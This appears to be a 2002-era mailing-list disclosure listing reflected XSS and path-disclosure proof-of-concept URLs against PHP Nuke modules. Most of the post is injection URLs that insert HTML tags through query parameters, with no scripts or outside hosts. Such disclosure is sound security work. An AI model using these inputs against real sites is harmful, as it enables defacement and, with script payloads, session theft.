Cross site scripting is a serious problem, (even if some people doesn't believe it), On this second round i'll show 8 new XSS vulnerabilities in PHP Nuke (most of them are also path disclosure vulns): http://nuke/modules.php?op=modload&name=Web_Links&file=index&l_op=viewlink&cid=%22%3Ch1%3EI%20Love%20XSS%3C/h1%3E http://nuke/modules.php?name=Classifieds&op=ViewAds&id_catg=%22%3Ch1%3ESmelly%20socks%20category%3C/h1%3E&id_subcatg=75 http://nuke/modules.php?op=modload&name=Guestbook&file=index&entry=%22%3Ch1%3Etest%3C/h1%3E http://nuke/modules.php?name=Your_Account&op=userinfo&uname=%22%3Ch1%3Etest%20123%3C/h1%3E http://nuke/modules.php?name=Stories_Archive&sa=show_month&year=2002&month=03&month_l=Replugge%20Love%20PHPNuke%20 http://nuke/modules.php?name=Stories_Archive&sa=show_month&year=Love%20this&month=3&month_l=Replugge http://nuke/modules.php?name=Surveys&pollID=%22%3Ch1%3Etest%3C/h1%3E http://nuke/modules.php?op=modload&name=WebChat&file=index&roomid=%22%3Ch1%3EBugger%20You%3C/h1%3E That in Addition to the 9 i mentioned last week on my posting to vuln-dev: http://nuke/modules.php?name=Downloads&d_op=viewdownload&cid=%22%3E http://nuke/modules.php?name=Downloads&d_op=viewdownload http://nuke/modules.php?name=Downloads&d_op=viewdownload&%22%3E http://nuke/modules.php?name=Downloads&d_op=viewdownload&cid= http://nuke/modules.php?name=Downloads&d_op=viewdownload&cid=anything_here http://nuke/modules.php?name=Downloads&d_op=brokendownload&lid=%22%3Ch1%3EFREE%20Downloads%20with%20virus%20included!!!%3C/h1%3E http://nuke/modules.php?name=Downloads&d_op=NewDownloads&newdownloadshowdays=%22%3Ch1%3E%3Cb%3EHax0r!%3C/b%3E%3C/h1%3E http://nuke/modules.php?name=Downloads&d_op=viewdownloaddetails&lid=%22%3Ch1%3ECooooooooooooool!!!!%3C/h1%3E http://nuke/modules.php?name=Downloads&d_op=viewdownloaddetails&lid=49&ttitle=%22%3Ch1%3EIll%20advertise%20my%20dirty%20underwear%20in%20here%3C/h6%3E http://nuke/modules.php?name=Downloads&d_op=viewdownloaddetails&lid=%22%3Ch1%3E%3Cb%3Eboth%20of%20them?%3C/b%3E%3C/h1%3E&ttitle=%22%3Ch1%3E%3Cb%3Ewhy%20not%20modify%3C/b%3E%3C/h1%3E I would like to mention that i couldn't find any contact information on phpnuke's website (without registering as a user). Best Regards -- /* Rodrigo Gutierrez +47 73546339 rodrigo@trustix.com +47 98060198 Trustix AS http://www.trustix.com */